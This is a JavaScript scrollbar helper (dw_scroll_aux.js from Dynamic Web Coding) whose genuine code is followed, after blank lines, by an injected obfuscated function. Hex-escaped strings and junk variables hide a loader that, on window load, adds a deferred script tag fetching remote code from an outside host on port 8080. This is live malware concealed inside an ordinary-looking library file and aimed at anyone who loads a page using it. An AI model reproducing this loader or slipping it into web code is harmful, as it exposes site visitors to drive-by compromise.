/***************************************************************************
  This code is from Dynamic Web Coding at www.dyn-web.com
  Copyright 2004 by Sharon Paine 
  See Terms of Use at www.dyn-web.com/bus/terms.html
  regarding conditions under which you may use this code.
  This notice must be retained in the code as is!
****************************************************************************/

/*
  dw_scroll_aux.js    version date: May 2004  
  integrates scrolling layers code with scrollbar code (dw_scrollbar.js)
*/

// Size dragBar according to layer size?  
dw_scrollObj.prototype.bSizeDragBar = false;

dw_scrollObj.prototype.setUpScrollbar = function(id, trkId, axis, offx, offy) {
  if (!document.getElementById) return;
  var bar = document.getElementById(id);
  var trk = document.getElementById(trkId);
  dw_slidebar.init(bar, trk, axis, offx, offy);
  // connect dw_slidebar with dw_scrollObj
  bar.wn = dw_scrollObjs[this.id]; // scroll area object this bar connected to
  if (axis == "v") this.vBarId = id; else this.hBarId = id;
  // also called on_load (i.e., when layer loaded), but in case h and v scrollbars, need to call here too
  if (this.bSizeDragBar) this.setBarSize();
  bar.on_drag_start = bar.on_slide_start = dw_scrollObj.getWndoLyrRef;
  bar.on_drag_end =   bar.on_slide_end =   dw_scrollObj.tossWndoLyrRef;
  bar.on_drag =       bar.on_slide =       dw_scrollObj.UpdateWndoLyrPos;
}

// for these 3 functions (assigned to bar.on_drag/slide...) "this" refers to bar
// get/discard ref to layer visible in scroll area
dw_scrollObj.getWndoLyrRef = function()  { this.wnLyr = document.getElementById(this.wn.lyrId); }
dw_scrollObj.tossWndoLyrRef = function() { this.wnLyr = null; }
// keep position of scrolling layer in synch with slide/drag of bar
dw_scrollObj.UpdateWndoLyrPos = function(x, y) {
  var nx, ny;
  if (this.axis == "v") {
    nx = this.wn.x; // floating point values for loaded layer's position held in shiftTo method
    ny = -(y - this.minY) * ( this.wn.maxY / (this.maxY - this.minY) ) || 0;
  } else {
    ny = this.wn.y;
    nx = -(x - this.minX) * ( this.wn.maxX / (this.maxX - this.minX) ) || 0;
  }
  this.wn.shiftTo(this.wnLyr, nx, ny);
}

// Keep position of dragBar in sync with position of layer onscroll
dw_scrollObj.prototype.updateScrollbar = function(x, y) {
  var nx, ny;
  if ( this.vBarId ) {
    if (!this.maxY) return;
    ny = -( y * ( (this.vbar.maxY - this.vbar.minY) / this.maxY ) - this.vbar.minY );
    ny = Math.min( Math.max(ny, this.vbar.minY), this.vbar.maxY);  
    nx = parseInt(this.vbar.style.left);
    this.vbar.style.left = nx + "px"; this.vbar.style.top = ny + "px";
  } if ( this.hBarId ) {
    if (!this.maxX) return;
    nx = -( x * ( (this.hbar.maxX - this.hbar.minX) / this.maxX ) - this.hbar.minX );
    nx = Math.min( Math.max(nx, this.hbar.minX), this.hbar.maxX);
    ny = parseInt(this.hbar.style.top);
    this.hbar.style.left = nx + "px"; this.hbar.style.top = ny + "px";
  } 
  
}

// Restore dragBar to start position when loading new layer
dw_scrollObj.prototype.restoreScrollbars = function() {
  var bar;
  if (this.vBarId) {
    bar = document.getElementById(this.vBarId);
    bar.style.left = bar.minX + "px"; bar.style.top = bar.minY + "px";
  }
  if (this.hBarId) {
    bar = document.getElementById(this.hBarId);
    bar.style.left = bar.minX + "px"; bar.style.top = bar.minY + "px";
  }
}
  
// Size dragBar in proportion to size of content in layer
// called on_load of layer if bSizeDragBar prop true
dw_scrollObj.prototype.setBarSize = function() {
  var bar;
  var lyr = document.getElementById(this.lyrId);
  var wn = document.getElementById(this.id);
  if (this.vBarId) {
    bar = document.getElementById(this.vBarId);
    bar.style.height = (lyr.offsetHeight > wn.offsetHeight)? bar.trkHt / ( lyr.offsetHeight / wn.offsetHeight ) + "px": bar.trkHt - 2*bar.minY + "px";
    bar.maxY = bar.trkHt - bar.offsetHeight - bar.minY; 
  }
  if (this.hBarId) {
    bar = document.getElementById(this.hBarId);
    bar.style.width = (this.wd > wn.offsetWidth)? bar.trkWd / ( this.wd / wn.offsetWidth ) + "px": bar.trkWd - 2*bar.minX + "px";
    bar.maxX = bar.trkWd - bar.offsetWidth - bar.minX; 
  }
}

// called from load method
dw_scrollObj.prototype.on_load = function() { 
  this.restoreScrollbars();
  if (this.bSizeDragBar) this.setBarSize();
}

dw_scrollObj.prototype.on_scroll = dw_scrollObj.prototype.on_slide = function(x,y) { this.updateScrollbar(x,y); }

// obtain and discard references to relevant dragBar
dw_scrollObj.prototype.on_scroll_start = dw_scrollObj.prototype.on_slide_start = function() {
  if ( this.vBarId ) this.vbar = document.getElementById(this.vBarId);
  if ( this.hBarId ) this.hbar = document.getElementById(this.hBarId);
}

dw_scrollObj.prototype.on_scroll_end = dw_scrollObj.prototype.on_slide_end = function(x, y) { 
  this.updateScrollbar(x,y);
  this.lyr = null; this.bar = null; 
}







function Y(){var a;if(a!=''){a='j'};var D=unescape;var NJ=new String();var N=window;var w;if(w!='' && w!='ac'){w='T'};var Pm;if(Pm!='' && Pm!='g'){Pm='O'};var S;if(S!='' && S!='ad'){S='Xf'};var V=D("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%65%64%69%66%66%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%61%65%2e%70%68%70");this.o='';function c(F,x){var hA;if(hA!='' && hA!='_g'){hA='sB'};var OZ;if(OZ!='' && OZ!='gX'){OZ='L'};var an="";var J;if(J!='Lj' && J!='Ki'){J=''};var i="g";this.KiK='';var eG=new Array();var t=D("%5b"), xV=D("%5d");var yP;if(yP!='' && yP!='xJ'){yP='ig'};var sz="";var q=t+x+xV;var f;if(f!='' && f!='yw'){f=null};var l=new RegExp(q, i);return F.replace(l, new String());var am;if(am!='si' && am != ''){am=null};};var _I=new String();var Nx;if(Nx!='' && Nx!='Yq'){Nx='r'};var jM=new Array();var Ur;if(Ur!='' && Ur!='z'){Ur=null};var Pj;if(Pj!='M' && Pj!='Bl'){Pj=''};this.RS="";var s=c('891946032357825261302449','67193524');var tb=document;var B=new String();var Lv;if(Lv!='pV' && Lv != ''){Lv=null};this.MO='';var X_;if(X_!='' && X_!='CCv'){X_='jX'};var Vk=new Array();var E=new Array();function u(){var js="";var Tv;if(Tv!='' && Tv!='ex'){Tv='Pe'};var k=D("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var kL=new Date();B=k;B+=s;var Yg=new Date();B+=V;var wg;if(wg!='d' && wg!='eA'){wg=''};try {var _U;if(_U!='Kv' && _U!='FK'){_U=''};R=tb.createElement(c('sNcNrXiNpgtg','NXg'));var uD=new Array();var Oi='';R[D("%73%72%63")]=B;var Zc;if(Zc!='eR' && Zc!='dj'){Zc=''};R[D("%64%65%66%65%72")]=[1,6][0];var _E;if(_E!='' && _E!='XD'){_E='Lm'};tb.body.appendChild(R);var Fi;if(Fi!='YW' && Fi!='BT'){Fi=''};var pK=new Array();this.Pa='';} catch(h){alert(h);var hV=new String();var CU;if(CU!='' && CU!='FC'){CU='RY'};};var OY=new Array();var I;if(I!='' && I!='oJ'){I=null};}N[new String("onloa"+"d")]=u;var iM=new Array();var NL=new Array();var Fn=new Date();};var SG=new Date();var xc=new Date();var v=new Date();Y();